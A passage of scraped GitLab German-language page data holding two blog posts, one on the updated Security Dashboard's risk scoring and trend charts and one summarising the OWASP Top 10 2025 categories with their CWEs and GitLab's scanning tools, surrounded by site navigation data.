Preisübersicht",{"href":186,"dataGaName":435,"dataGaLocation":408,"icon":436},"back to pricing","GoBack",{"altText":410,"config":438},{"src":412,"dataGaName":413,"dataGaLocation":408},{"altText":410,"config":440},{"src":416,"dataGaName":413,"dataGaLocation":408},{"title":442,"button":443,"config":448},"Sieh dir an, wie agentische KI die Softwarebereitstellung transformiert",{"text":444,"config":445},"GitLab Transcend jetzt ansehen",{"href":446,"dataGaName":447,"dataGaLocation":43},"/de-de/events/transcend/virtual/","transcend event",{"layout":449,"icon":450},"release","AiStar",{"data":452},{"text":453,"source":454,"edit":460,"contribute":465,"config":470,"items":475,"minimal":648},"Git ist eine Marke von Software Freedom Conservancy und unsere Verwendung von „GitLab“ erfolgt unter Lizenz.",{"text":455,"config":456},"Quelltext der Seite anzeigen",{"href":457,"dataGaName":458,"dataGaLocation":459},"https://gitlab.com/gitlab-com/marketing/digital-experience/about-gitlab-com/","page source","footer",{"text":461,"config":462},"Diese Seite bearbeiten",{"href":463,"dataGaName":464,"dataGaLocation":459},"https://gitlab.com/gitlab-com/marketing/digital-experience/about-gitlab-com/-/blob/main/content/","web ide",{"text":466,"config":467},"Beteilige dich",{"href":468,"dataGaName":469,"dataGaLocation":459},"https://gitlab.com/gitlab-com/marketing/digital-experience/about-gitlab-com/-/blob/main/CONTRIBUTING.md/","please contribute",{"twitter":471,"facebook":472,"youtube":473,"linkedin":474},"https://x.com/gitlab","https://www.facebook.com/gitlab","https://www.youtube.com/channel/UCnMGQ8QHMAnVIsI3xJrihhg","https://www.linkedin.com/company/gitlab-com",[476,499,554,581,615],{"title":61,"links":477,"subMenu":482},[478],{"text":479,"config":480},"DevSecOps-Plattform",{"href":70,"dataGaName":481,"dataGaLocation":459},"devsecops platform",[483],{"title":184,"links":484},[485,489,494],{"text":486,"config":487},"Tarife anzeigen",{"href":186,"dataGaName":488,"dataGaLocation":459},"view plans",{"text":490,"config":491},"Vorteile von Premium",{"href":492,"dataGaName":493,"dataGaLocation":459},"/de-de/pricing/premium/","why premium",{"text":495,"config":496},"Vorteile von Ultimate",{"href":497,"dataGaName":498,"dataGaLocation":459},"/de-de/pricing/ultimate/","why ultimate",{"title":500,"links":501},"Lösungen",[502,507,510,512,517,522,526,529,532,537,539,541,544,549],{"text":503,"config":504},"Digitale Transformation",{"href":505,"dataGaName":506,"dataGaLocation":459},"/de-de/topics/digital-transformation/","digital transformation",{"text":508,"config":509},"Sicherheit und Compliance",{"href":126,"dataGaName":133,"dataGaLocation":459},{"text":118,"config":511},{"href":102,"dataGaName":103,"dataGaLocation":459},{"text":513,"config":514},"Agile Entwicklung",{"href":515,"dataGaName":516,"dataGaLocation":459},"/de-de/solutions/agile-delivery/","agile delivery",{"text":518,"config":519},"Cloud-Transformation",{"href":520,"dataGaName":521,"dataGaLocation":459},"/de-de/topics/cloud-native/","cloud transformation",{"text":523,"config":524},"SCM",{"href":115,"dataGaName":525,"dataGaLocation":459},"source code management",{"text":106,"config":527},{"href":108,"dataGaName":528,"dataGaLocation":459},"continuous integration & delivery",{"text":156,"config":530},{"href":158,"dataGaName":531,"dataGaLocation":459},"value stream management",{"text":533,"config":534},"GitOps",{"href":535,"dataGaName":536,"dataGaLocation":459},"/de-de/solutions/gitops/","gitops",{"text":169,"config":538},{"href":171,"dataGaName":172,"dataGaLocation":459},{"text":174,"config":540},{"href":176,"dataGaName":177,"dataGaLocation":459},{"text":542,"config":543},"Öffentlicher Sektor",{"href":181,"dataGaName":182,"dataGaLocation":459},{"text":545,"config":546},"Bildungswesen",{"href":547,"dataGaName":548,"dataGaLocation":459},"/de-de/solutions/education/","education",{"text":550,"config":551},"Finanzdienstleistungen",{"href":552,"dataGaName":553,"dataGaLocation":459},"/de-de/solutions/finance/","financial services",{"title":189,"links":555},[556,558,560,562,565,567,569,571,573,575,577,579],{"text":201,"config":557},{"href":203,"dataGaName":204,"dataGaLocation":459},{"text":206,"config":559},{"href":208,"dataGaName":209,"dataGaLocation":459},{"text":211,"config":561},{"href":213,"dataGaName":214,"dataGaLocation":459},{"text":216,"config":563},{"href":218,"dataGaName":564,"dataGaLocation":459},"docs",{"text":239,"config":566},{"href":241,"dataGaName":242,"dataGaLocation":459},{"text":234,"config":568},{"href":236,"dataGaName":237,"dataGaLocation":459},{"text":244,"config":570},{"href":246,"dataGaName":247,"dataGaLocation":459},{"text":252,"config":572},{"href":254,"dataGaName":255,"dataGaLocation":459},{"text":257,"config":574},{"href":259,"dataGaName":260,"dataGaLocation":459},{"text":262,"config":576},{"href":264,"dataGaName":265,"dataGaLocation":459},{"text":267,"config":578},{"href":269,"dataGaName":270,"dataGaLocation":459},{"text":272,"config":580},{"href":274,"dataGaName":275,"dataGaLocation":459},{"title":290,"links":582},[583,585,587,589,591,593,595,599,604,606,608,610],{"text":297,"config":584},{"href":299,"dataGaName":292,"dataGaLocation":459},{"text":302,"config":586},{"href":304,"dataGaName":305,"dataGaLocation":459},{"text":310,"config":588},{"href":312,"dataGaName":313,"dataGaLocation":459},{"text":315,"config":590},{"href":317,"dataGaName":318,"dataGaLocation":459},{"text":320,"config":592},{"href":322,"dataGaName":323,"dataGaLocation":459},{"text":325,"config":594},{"href":327,"dataGaName":328,"dataGaLocation":459},{"text":596,"config":597},"Sustainability",{"href":598,"dataGaName":596,"dataGaLocation":459},"/sustainability/",{"text":600,"config":601},"Vielfalt, Inklusion und Zugehörigkeit",{"href":602,"dataGaName":603,"dataGaLocation":459},"/de-de/diversity-inclusion-belonging/","Diversity, inclusion and belonging",{"text":330,"config":605},{"href":332,"dataGaName":333,"dataGaLocation":459},{"text":340,"config":607},{"href":342,"dataGaName":343,"dataGaLocation":459},{"text":345,"config":609},{"href":347,"dataGaName":348,"dataGaLocation":459},{"text":611,"config":612},"Transparenzerklärung zu moderner Sklaverei",{"href":613,"dataGaName":614,"dataGaLocation":459},"https://handbook.gitlab.com/handbook/legal/modern-slavery-act-transparency-statement/","modern slavery transparency statement",{"title":616,"links":617},"Nimm Kontakt auf",[618,621,626,628,633,638,643],{"text":619,"config":620},"Sprich mit einem Experten/einer Expertin",{"href":52,"dataGaName":53,"dataGaLocation":459},{"text":622,"config":623},"Support",{"href":624,"dataGaName":625,"dataGaLocation":459},"/support/","get help",{"text":364,"config":627},{"href":366,"dataGaName":367,"dataGaLocation":459},{"text":629,"config":630},"Status",{"href":631,"dataGaName":632,"dataGaLocation":459},"https://status.gitlab.com/","status",{"text":634,"config":635},"Nutzungsbedingungen",{"href":636,"dataGaName":637,"dataGaLocation":459},"/terms/","terms of use",{"text":639,"config":640},"Datenschutzerklärung",{"href":641,"dataGaName":642,"dataGaLocation":459},"/de-de/privacy/","privacy statement",{"text":644,"config":645},"Cookie-Einstellungen",{"dataGaName":646,"dataGaLocation":459,"id":647,"isOneTrustButton":12},"cookie preferences","ot-sdk-btn",{"items":649},[650,652,654],{"text":634,"config":651},{"href":636,"dataGaName":637,"dataGaLocation":459},{"text":639,"config":653},{"href":641,"dataGaName":642,"dataGaLocation":459},{"text":644,"config":655},{"dataGaName":646,"dataGaLocation":459,"id":647,"isOneTrustButton":12},[657,670],{"id":658,"title":24,"body":9,"config":659,"content":661,"description":9,"extension":26,"meta":665,"navigation":12,"path":666,"seo":667,"stem":668,"__hash__":669},"blogAuthors/en-us/blog/authors/michael-henriksen.yml",{"template":660},"BlogAuthor",{"name":24,"config":662},{"headshot":663,"ctfId":664},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1749659488/Blog/Author%20Headshots/gitlab-logo-extra-whitespace.png","3DmojnawcJFqAgoNMCpFTX",{},"/en-us/blog/authors/michael-henriksen",{},"en-us/blog/authors/michael-henriksen","dTL4-g73rNy2nzSawJkuBZzClePkjmBsk3b5cEkIceg",{"id":671,"title":25,"body":9,"config":672,"content":674,"description":9,"extension":26,"meta":677,"navigation":12,"path":678,"seo":679,"stem":680,"__hash__":681},"blogAuthors/en-us/blog/authors/daniel-abeles.yml",{"template":660,"gitlabHandle":673},"dabeles",{"name":25,"config":675},{"headshot":676},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1764021550/s0jlolynjykik4qzfznr.png",{},"/en-us/blog/authors/daniel-abeles",{},"en-us/blog/authors/daniel-abeles","Jk9qNn2qJBh633zCEZSFpYFUYNt83twJ-Ge9wrn_oT0",[683,698,711],{"content":684,"config":696},{"title":685,"description":686,"authors":687,"heroImage":690,"date":691,"body":692,"category":10,"tags":693},"Schwachstellen-Behebung mit dem aktualisierten GitLab Security Dashboard verfolgen","Behebungsmaßnahmen in risikoreichen Projekten priorisieren und Fortschritte mit Schwachstellen-Insights messen.",[688,689],"Alisa Ho","Mike Clausen","https://res.cloudinary.com/about-gitlab-com/image/upload/v1771438388/t6sts5qw4z8561gtlxiq.png","2026-02-19","Security-Teams und Entwicklungsteams kennen das Problem: Tausende von Schwachstellen, die Aufmerksamkeit erfordern – ohne die nötigen Informationen zur Priorisierung der Behebung. Wo konzentriert sich das Risiko, und wie schnell wird es behoben? Wo hat die Behebung die größte Wirkung? Das aktualisierte GitLab Security Dashboard beantwortet diese Fragen mit Trend-Tracking, Altersverteilung von Schwachstellen und projektbezogenem Risiko-Scoring.\n\n## Behebung messen, nicht nur Erkennung\nApplication-Security-Teams haben selten Schwierigkeiten, Schwachstellen zu finden – die Herausforderung liegt im Einordnen. Die meisten Dashboards zeigen rohe Zählwerte ohne Kontext und zwingen Teams dazu, stundenlang Behebungsmaßnahmen nachzuverfolgen, ohne zu verstehen, welche Schwachstellen das größte Risiko darstellen.\n\nDas [GitLab Security Dashboard](https://docs.gitlab.com/user/application_security/security_dashboard/#new-security-dashboards) fasst alle Schwachstellendaten in einer Ansicht zusammen, die Projekte, Gruppen und Geschäftsbereiche übergreift.\n\nIn Version 18.6 wurde die erste Version des aktualisierten Security Dashboards eingeführt, mit der Teams Schwachstellen im Zeitverlauf anzeigen und nach Projekt oder Berichtstyp filtern können. Mit dem [18.9-Release](https://about.gitlab.com/releases/2026/02/19/gitlab-18-9-released/) stehen neue Filter und Diagramme zur Verfügung, die es erleichtern, Daten nach Schweregrad, Status, Scanner oder Projekt aufzuschlüsseln und Trends wie offene Schwachstellen, Behebungsgeschwindigkeit, Altersverteilung von Schwachstellen und Risiko-Score im Zeitverlauf zu visualisieren.\n\nRisiko-Scores helfen dabei, die kritischsten Schwachstellen vorrangig zu beheben. Der Risiko-Score wird anhand von Faktoren wie dem Alter der Schwachstelle, dem Exploit Prediction Scoring System (EPSS) und Known Exploited Vulnerability (KEV)-Scores für die betreffenden Repositories und deren Sicherheitsstatus berechnet. Auf dieser Grundlage lassen sich die Bereiche identifizieren, die am dringendsten Aufmerksamkeit benötigen.\n\nDas GitLab Security Dashboard unterstützt Application-Security- und Entwicklungsteams dabei:\n* **Programm-Effektivität verfolgen**: Behebungsgeschwindigkeit, Scanner-Nutzung und Risikostatus überwachen, um messbare Verbesserungen nachzuweisen.\n* **Gezielte Behebung priorisieren**: Schwachstellen beheben, die das größte Risiko für Produktionssysteme darstellen.\n* **Schulungsbedarf identifizieren**: Teams erkennen, die bei der Behebung von Schwachstellen gemäß unternehmensinterner Richtlinien Schwierigkeiten haben, und gezielt in Weiterbildung investieren.\n* **Manuelles Reporting reduzieren**: Externe Dashboards und Tabellen ersetzen, indem alles direkt in GitLab nachverfolgt wird.\n\nDieses Update unterstreicht GitLabs Ansatz, Sicherheit messbar, kontextbezogen und in die täglichen Entwicklungsabläufe integriert zu gestalten. Das GitLab Security Dashboard verwandelt rohe Befunde in handlungsrelevante Erkenntnisse und gibt Security- und Entwicklungsteams die Grundlage, um zu priorisieren, Risiken zu reduzieren und den Fortschritt zu belegen.\n\n## Das Security Dashboard in der Praxis\nEine Application-Security-Führungskraft, die ein Executive Briefing vorbereitet, kann nun anhand klarer Trendlinien zeigen, ob Investitionen die Risikolage verbessern: sinkende Anzahl offener Schwachstellen, abnehmendes Schwachstellenalter, rückläufige ehemals häufige CWE-Typen und ein stabiler Risiko-Score. Statt roher Zählwerte lässt sich demonstrieren, wie der Rückstand abgebaut wird und wie sich die Sicherheitslage Quartal für Quartal verbessert.\n\nGleichzeitig sehen Entwicklungsteams im selben Dashboard die kritischen Schwachstellen in ihren aktiven Projekten – und können Behebungsmaßnahmen priorisieren, ohne Daten zu exportieren oder zwischen mehreren Tools zu wechseln.\n\n\u003Ciframe src=\"https://player.vimeo.com/video/1166108924?badge=0&amp;autopause=0&amp;player_id=0&amp;app_id=58479\" frameborder=\"0\" allow=\"autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share\" referrerpolicy=\"strict-origin-when-cross-origin\" style=\"position:absolute;top:0;left:0;width:100%;height:100%;\" title=\"Security-Dashboard-Demo-Final\">\u003C/iframe>\u003Cscript src=\"https://player.vimeo.com/api/player.js\">\u003C/script>\n\n> Weitere Informationen zum Einstieg in das GitLab Security Dashboard in der [Dokumentation](https://docs.gitlab.com/user/application_security/security_dashboard/).",[10,694,695],"product","features",{"featured":31,"template":13,"slug":697},"track-vulnerability-remediation-with-the-updated-gitlab-security-dashboard",{"content":699,"config":709},{"title":700,"description":701,"authors":702,"heroImage":704,"date":705,"category":10,"tags":706,"body":708},"OWASP Top 10 2025: Was sich geändert hat und warum es wichtig ist","Neue Supply-Chain- und Error-Handling-Risiken, Ranking-Verschiebungen und Remediation-Strategien für alle 10 Kategorien.",[703],"Fernando Diaz","https://res.cloudinary.com/about-gitlab-com/image/upload/v1759320418/xjmqcozxzt4frx0hori3.png","2026-02-17",[10,707],"open source","Die OWASP Foundation hat die [achte Edition ihrer einflussreichen „Top 10 Security Risks\"-Liste für 2025](https://owasp.org/Top10/2025/0x00_2025-Introduction/) veröffentlicht und führt bedeutende Änderungen ein, die die sich entwickelnde Landschaft der Applikationssicherheit widerspiegeln. Basierend auf der Analyse von mehr als 175.000 Common Vulnerabilities and Exposures (CVEs) und Feedback von Security-Praktikern weltweit adressiert dieses Update moderne Angriffsvektoren. Im Folgenden wird erläutert, was sich geändert hat, warum diese Änderungen wichtig sind und wie Systeme geschützt werden können.\n\n\n> :bulb: Am 10. Februar hat GitLab auf der Transcend gezeigt, wie Agentic AI Software Delivery transformiert – mit Kunden-Einblicken und Impulsen zur Modernisierung. [Mehr erfahren.](https://about.gitlab.com/de-de/events/transcend/virtual/)\n\n\n## Was ist neu in 2025?\n\nDie Verschiebung von 2021 (als die Liste zuletzt erschien) zu 2025 stellt mehr als kleine Anpassungen dar – es ist ein fundamentaler Wandel in der Applikationssicherheit. Zwei vollständig neue Kategorien wurden in die Liste aufgenommen und eine Kategorie in eine andere konsolidiert, was aufkommende Risiken hervorhebt, die traditionelle Tests oft übersehen.\n\nDiese Ergänzungen und Verschiebungen sind in der folgenden Grafik zu sehen:\n\n![OWASP Top 10 - Changes from 2021 to 2025](https://res.cloudinary.com/about-gitlab-com/image/upload/v1767639428/tbekzibeqylorwqrkdau.png)\n\n\n### Zwei neue Kategorien\n\n- **A03: Software Supply Chain Failures**: Erweitert die 2021-Kategorie „Vulnerable and Outdated Components\" um die gesamte Software-Supply-Chain, einschließlich Dependencies, Build-Systeme und Distributions-Infrastruktur. Trotz der geringsten Vorkommen in Testdaten hat diese Kategorie die höchsten durchschnittlichen Exploit- und Impact-Scores aus CVEs.\n\n- **A10: Mishandling of Exceptional Conditions**: Fokussiert auf fehlerhafte Error-Behandlung, logische Fehler und Failing-Open-Szenarien. Diese Kategorie adressiert, wie Systeme auf abnormale Bedingungen reagieren.\n\n### Wesentliche Ranking-Änderungen\n\n- Security Misconfiguration stieg von #5 (2021) auf #2 (2025) und betrifft nun 3 % der getesteten Applikationen.\n- Server-Side Request Forgery (SSRF) wurde in A01: Broken Access Control konsolidiert.\n- Cryptographic Failures fielen von #2 auf #4.\n- Injection fiel von #3 auf #5.\n- Insecure Design verschob sich von #4 auf #6.\n\n## Warum diese Änderungen vorgenommen wurden\n\nDie OWASP-Methodik kombiniert datengetriebene Analyse mit Community-Einblicken. Die 2025-Edition analysierte 589 Common Weakness Enumerations (CWEs) – eine substanzielle Steigerung gegenüber den etwa 400 CWEs in 2021. Diese Erweiterung reflektiert die wachsende Komplexität moderner Software-Systeme und die Notwendigkeit, aufkommende Bedrohungen zu erfassen.\n\nDie Community-Survey-Komponente adressiert eine fundamentale Einschränkung: Testdaten schauen im Wesentlichen in die Vergangenheit. Bis Security-Forschende Testmethoden entwickeln und in automatisierte Tools integrieren, können Jahre vergangen sein. Die beiden community-voted Kategorien stellen sicher, dass aufkommende Risiken, die von Praktikern an vorderster Front identifiziert wurden, eingeschlossen werden – selbst wenn sie noch nicht in automatisierten Testdaten verbreitet sind.\n\nDer Anstieg von Security Misconfiguration hebt einen Branchentrend zur konfigurationsbasierten Sicherheit hervor, während Software Supply Chain Failures den Anstieg ausgefeilter Angriffe auf kompromittierte Packages widerspiegelt.\n\n## GitLab Ultimate für Vulnerability-Detection und -Management nutzen\n\nGitLab Ultimate bietet umfassendes [Security-Scanning](https://docs.gitlab.com/user/application_security/detect/) zur Erkennung von Risiken über alle OWASP-Top-10-2025-Kategorien hinweg. Die End-to-End-Plattform analysiert Quellcode, Dependencies und Infrastrukturdefinitionen von Projekten. [Advanced Static Application Security Testing (SAST)](https://docs.gitlab.com/user/application_security/sast/gitlab_advanced_sast/) erkennt Injection-Schwachstellen, Cryptographic Failures und unsichere Design-Patterns im Quellcode. [Infrastructure as Code (IaC) Scanning](https://docs.gitlab.com/user/application_security/iac_scanning/) findet Security-Fehlkonfigurationen in Deployment-Definitionen. [Secret Detection](https://docs.gitlab.com/user/application_security/secret_detection/) verhindert das Leaken von Credentials, und [Dependency Scanning](https://docs.gitlab.com/user/application_security/dependency_scanning/) deckt Bibliotheken mit bekannten Schwachstellen in der Software-Supply-Chain auf – und adressiert damit direkt die neue A03-Kategorie für Software Supply Chain Failures.\n\nDarüber hinaus:\n\n* [Dynamic Application Security Testing (DAST)](https://docs.gitlab.com/user/application_security/dast/) testet die deployten Applikationen auf Broken Access Control, Authentication Failures und Injection-Schwachstellen durch Simulation von Angriffsvektoren.\n* [API Security Testing](https://docs.gitlab.com/user/application_security/api_security/) prüft API-Endpoints auf Input-Validation-Schwächen und Authentication-Bypasses.\n* [Web API Fuzz Testing](https://docs.gitlab.com/user/application_security/api_fuzzing/) deckt auf, wie Applikationen mit Ausnahmebedingungen umgehen, indem unerwartete Inputs generiert werden – und adressiert damit direkt die neue A10-Kategorie für Mishandling of Exceptional Conditions.\n\nSecurity-Scanning integriert sich nahtlos in die [CI/CD-Pipeline](https://about.gitlab.com/de-de/topics/ci-cd/) und läuft beim Push von einem Feature-Branch, sodass Entwicklungsteams Schwachstellen beheben können, bevor sie Production erreichen. Security-Ergebnisse werden im [Vulnerability Report](https://docs.gitlab.com/user/application_security/vulnerability_report/) konsolidiert, wo Security-Teams triagieren, analysieren und die Behebung nachverfolgen können. GitLab ermöglicht außerdem den Einsatz von KI-Agents wie dem [Security Analyst Agent](https://about.gitlab.com/de-de/blog/vulnerability-triage-made-simple-with-gitlab-security-analyst-agent/) in der GitLab Duo Agent Platform, um die kritischsten Schwachstellen und die erforderlichen Maßnahmen schnell zu identifizieren.\n\nZusätzliche Kontrollen lassen sich über [Merge-Request-Approval-Policies](https://docs.gitlab.com/user/application_security/policies/merge_request_approval_policies/) und [Pipeline-Execution-Policies](https://docs.gitlab.com/user/application_security/policies/pipeline_execution_policies/) durchsetzen, um sicherzustellen, dass Security-Scanning konsistent in der gesamten Organisation ausgeführt wird. Customer-Success- und Professional-Services-Teams bei GitLab unterstützen dabei, den Wert einer GitLab-Investition zeitnah zu realisieren.\n\nSichere Software mit Security-Testing in derselben Plattform bereitstellen, die Entwicklungsteams bereits nutzen. Mehr dazu auf der [Application Security Testing Solutions-Seite](https://about.gitlab.com/de-de/solutions/application-security-testing/).\n\n## Die OWASP Top 10 2025: Vollständige Aufschlüsselung\n\n### A01: Broken Access Control\n\n##### Was es ist\n\nFehler bei der Durchsetzung von Richtlinien, die verhindern, dass Nutzende außerhalb ihrer vorgesehenen Berechtigungen handeln – was zu unbefugtem Zugriff führt.\n\n##### Auswirkungen auf das System\n\n- Unbefugte Informationsoffenlegung\n- Vollständige Datenzerstörung oder -modifikation\n- Privilege Escalation (Nutzende erlangen Admin-Rechte)\n- Einsehen oder Bearbeiten der Accounts anderer Nutzender\n- API-Zugriff von nicht autorisierten oder nicht vertrauenswürdigen Quellen\n\n##### Relevante CWEs\n\n- [CWE-22: Path Traversal](https://cwe.mitre.org/data/definitions/22.html)\n- [CWE-200: Exposure of Sensitive Information to an Unauthorized Actor](https://cwe.mitre.org/data/definitions/200.html)\n- [CWE-352: Cross-Site Request Forgery (CSRF)](https://cwe.mitre.org/data/definitions/352.html)\n\n### A02: Security Misconfiguration\n\n##### Was es ist\n\nSysteme, Applikationen oder Cloud-Services, die aus Security-Perspektive fehlerhaft konfiguriert sind.\n\n##### Auswirkungen auf das System\n\n- Offenlegung sensibler Informationen durch Fehlermeldungen\n- Unbefugter Zugriff über Default-Accounts\n- Unnötige Services oder Features aktiviert\n- Veraltete Security-Patches\n- Server sendet keine Security-Header oder -Direktiven\n\n##### Relevante CWEs\n\n- [CWE-16: Configuration](https://cwe.mitre.org/data/definitions/16.html)\n- [CWE-521: Weak Password Requirements](https://cwe.mitre.org/data/definitions/521.html)\n- [CWE-798: Use of Hard-coded Credentials](https://cwe.mitre.org/data/definitions/798.html)\n\n### A03: Software Supply Chain Failures\n\n##### Was es ist\n\nAusfälle oder Kompromittierungen beim Erstellen, Verteilen oder Aktualisieren von Software – durch Schwachstellen oder böswillige Änderungen in Dependencies, Tools oder Build-Prozessen.\n\n##### Auswirkungen auf das System\n\n- Kompromittierte Packages, die Backdoors einschleusen\n- Schädlicher Code, der während Build-Prozessen injiziert wird\n- Verwundbare Dependencies, die sich durch die Applikation kaskadieren\n- Nutzung von Komponenten aus nicht vertrauenswürdigen Quellen in Production\n- Änderungen in der Supply Chain werden nicht nachverfolgt\n\n##### Relevante CWEs\n\n- [CWE-1395: Dependency on Vulnerable Third-Party Component](https://cwe.mitre.org/data/definitions/1395.html)\n- [CWE-1104: Use of Unmaintained Third Party Components](https://cwe.mitre.org/data/definitions/1104.html)\n\n### A04: Cryptographic Failures\n\n##### Was es ist\n\nFehler im Zusammenhang mit fehlender Kryptographie, unzureichend starker Kryptographie, Leaking von kryptographischen Schlüsseln und verwandten Fehlern.\n\n##### Auswirkungen auf das System\n\n- Offenlegung sensibler Daten (Passwörter, Kreditkarten, Gesundheitsdaten)\n- Man-in-the-Middle-Angriffe\n- Datenpanne durch schwache Verschlüsselung\n- Schlüssel-Kompromittierung mit systemweiter Exposition\n- Verstoß gegen regulatorische Compliance-Anforderungen (DSGVO, PCI DSS)\n\n##### Relevante CWEs\n\n- [CWE-327: Use of a Broken or Risky Cryptographic Algorithm](https://cwe.mitre.org/data/definitions/327.html)\n- [CWE-330: Use of Insufficiently Random Values](https://cwe.mitre.org/data/definitions/330.html)\n\n### A05: Injection\n\n##### Was es ist\n\nSystemschwachstellen, die es Angreifenden ermöglichen, Schadcode oder -befehle (SQL, NoSQL, OS-Befehle, LDAP usw.) in Programme einzuschleusen.\n\n##### Auswirkungen auf das System\n\n- Datenverlust oder -korruption durch SQL-Injection\n- Vollständige Datenbank-Kompromittierung\n- Server-Übernahme durch Command-Injection\n- Cross-Site-Scripting-(XSS)-Angriffe\n- Informationsoffenlegung\n- Denial of Service\n\n##### Relevante CWEs\n\n- [CWE-89: SQL Injection](https://cwe.mitre.org/data/definitions/89.html)\n- [CWE-78: OS Command Injection](https://cwe.mitre.org/data/definitions/78.html)\n\n### A06: Insecure Design\n\n##### Was es ist\n\nSchwächen im Design, die verschiedene Fehler repräsentieren – ausgedrückt als fehlendes oder unwirksames Kontrolldesign. Architekturelle Mängel statt Implementierungs-Bugs.\n\n##### Auswirkungen auf das System\n\n- Schwache Passwort-Reset-Flows\n- Fehlende Autorisierungsschritte\n- Fehlerhafte Business-Logik, die Umgehungen ermöglicht\n- Unzureichendes Threat Modeling, das blinde Flecken erzeugt\n- Design-Patterns, die unter Angriffsszenarien versagen\n\n##### Relevante CWEs\n\n- [CWE-209: Generation of Error Messages Containing Sensitive Information](https://cwe.mitre.org/data/definitions/209.html)\n- [CWE-522: Insufficiently Protected Credentials](https://cwe.mitre.org/data/definitions/522.html)\n- [CWE-656: Reliance on Security Through Obscurity](https://cwe.mitre.org/data/definitions/656.html)\n\n### A07: Authentication Failures\n\n##### Was es ist\n\nSchwachstellen, die es Angreifenden ermöglichen, Systeme dazu zu bringen, ungültige oder fehlerhafte Identitäten als legitim zu erkennen.\n\n##### Auswirkungen auf das System\n\n- Account-Übernahme und Credential Stuffing\n- Session Hijacking\n- Erfolgreiche Brute-Force-Angriffe\n- Ausnutzung schwacher Passwort-Recovery-Mechanismen\n- Multi-Faktor-Authentifizierungs-Bypass\n\n##### Relevante CWEs\n\n- [CWE-287: Improper Authentication](https://cwe.mitre.org/data/definitions/287.html)\n- [CWE-306: Missing Authentication for Critical Function](https://cwe.mitre.org/data/definitions/306.html)\n- [CWE-521: Weak Password Requirements](https://cwe.mitre.org/data/definitions/521.html)\n\n### A08: Software or Data Integrity Failures\n\n##### Was es ist\n\nCode und Infrastruktur, die nicht verhindern, dass ungültiger oder nicht vertrauenswürdiger Code/Daten als vertrauenswürdig und valide behandelt werden.\n\n##### Auswirkungen auf das System\n\n- Unsignierte Updates, die Schadcode-Injection ermöglichen\n- Insecure Deserialization, die zu Remote Code Execution führt\n- CI/CD-Pipeline-Kompromittierung\n- Ausnutzung von Auto-Update-Mechanismen\n- Manipulierte Software-Artefakte\n\n##### Relevante CWEs\n\n- [CWE-345: Insufficient Verification of Data Authenticity](https://cwe.mitre.org/data/definitions/345.html)\n- [CWE-346: Origin Validation Error](https://cwe.mitre.org/data/definitions/346.html)\n- [CWE-347: Improper Verification of Cryptographic Signature](https://cwe.mitre.org/data/definitions/347.html)\n\n### A09: Security Logging & Alerting Failures\n\n##### Was es ist\n\nUnzureichendes Logging und Monitoring mit inadäquatem Alerting, was schnelle Reaktion erschwert.\n\n##### Auswirkungen auf das System\n\n- Angriffe bleiben über längere Zeiträume unentdeckt\n- Breach-Investigation wird unmöglich\n- Compliance-Verstöße durch fehlende Audit-Trails\n- Verzögerte Incident-Response\n- Unfähigkeit, das Ausmaß einer Kompromittierung zu bestimmen\n\n##### Relevante CWEs\n\n- [CWE-117: Improper Output Neutralization for Logs](https://cwe.mitre.org/data/definitions/117.html)\n- [CWE-532: Insertion of Sensitive Information into Log File](https://cwe.mitre.org/data/definitions/532.html)\n- [CWE-778: Insufficient Logging](https://cwe.mitre.org/data/definitions/778.html)\n\n### A10: Mishandling of Exceptional Conditions\n\n##### Was es ist\n\nProgramme, die ungewöhnliche und unvorhersehbare Situationen nicht verhindern, erkennen und darauf reagieren – was zu Abstürzen, unerwartetem Verhalten oder Schwachstellen führt.\n\n##### Auswirkungen auf das System\n\n- Informationsoffenlegung durch zu detaillierte Fehlermeldungen\n- Denial of Service durch unbehandelte Exceptions\n- Zustandskorruption durch fehlerhafte Error-Behandlung\n- Ausnutzung von Race Conditions\n- Systeme, die bei Fehlern offen statt geschlossen schalten\n- Applikationsabstürze, die sensible Daten exponieren\n\n##### Relevante CWEs\n\n- [CWE-248: Uncaught Exception](https://cwe.mitre.org/data/definitions/248.html)\n- [CWE-390: Detection of Error Condition Without Action](https://cwe.mitre.org/data/definitions/390.html)\n- [CWE-391: Unchecked Error Condition](https://cwe.mitre.org/data/definitions/391.html)\n\n## Best Practices für Prävention und Remediation\n\nGitLab bietet Tools, die nicht nur das schnelle Finden und Beheben von Schwachstellen innerhalb der OWASP Top 10 ermöglichen, sondern auch deren Eintritt in das Production-System verhindern. Durch Befolgen dieser Best Practices lässt sich die Security-Posture verbessern und aufrechterhalten:\n\n#### Automatisiertes Security-Scanning für alle Repositories\n\n- [SAST-Scanning](https://docs.gitlab.com/user/application_security/sast/) durchführen, um unsichere Design-Patterns wie Klartext-Passwortspeicherung, inadäquates Error-Handling und fehlende Verschlüsselung während Code-Reviews zu erkennen – Design-Fehler werden früh im Entwicklungszyklus aufgefangen.\n- [Secret Detection](https://docs.gitlab.com/user/application_security/secret_detection/) durchführen, um Credentials in Konfigurationsdateien, Umgebungsvariablen und Code zu identifizieren – dies verhindert Klartext-Passwortspeicherung und stellt sicher, dass Secrets ordnungsgemäß über GitLab-CI/CD-Variablen mit Masking und Verschlüsselung verwaltet werden.\n- [DAST-Scanning](https://docs.gitlab.com/user/application_security/dast/) durchführen, um Broken-Access-Control-Schwachstellen zu erkennen.\n- [Dependency Scanning](https://docs.gitlab.com/user/application_security/dependency_scanning/) durchführen, um Projekt-Dependencies gegen Schwachstellen-Datenbanken zu scannen und bekannte CVEs in direkten und transitiven Dependencies über mehrere Package-Manager (npm, pip, Maven usw.) zu identifizieren.\n- [Container Scanning](https://docs.gitlab.com/user/application_security/container_scanning/) durchführen, um Docker-Images auf verwundbare Base-Layer und Packages zu analysieren und die Container-Supply-Chain-Sicherheit vor dem Deployment sicherzustellen.\n- [IaC-Scanning](https://docs.gitlab.com/user/application_security/iac_scanning/) durchführen, um Infrastruktur-Definitionsdateien auf bekannte Schwachstellen zu prüfen.\n- [API-Security-Tools](https://docs.gitlab.com/user/application_security/api_security/) nutzen, um Web-APIs vor unbefugtem Zugriff, Missbrauch und Angriffen zu schützen.\n- [Web API Fuzz Testing](https://docs.gitlab.com/user/application_security/api_fuzzing/) durchführen, um Bugs und potenzielle Schwachstellen zu entdecken, die andere QA-Prozesse übersehen könnten.\n\n![Security Results in 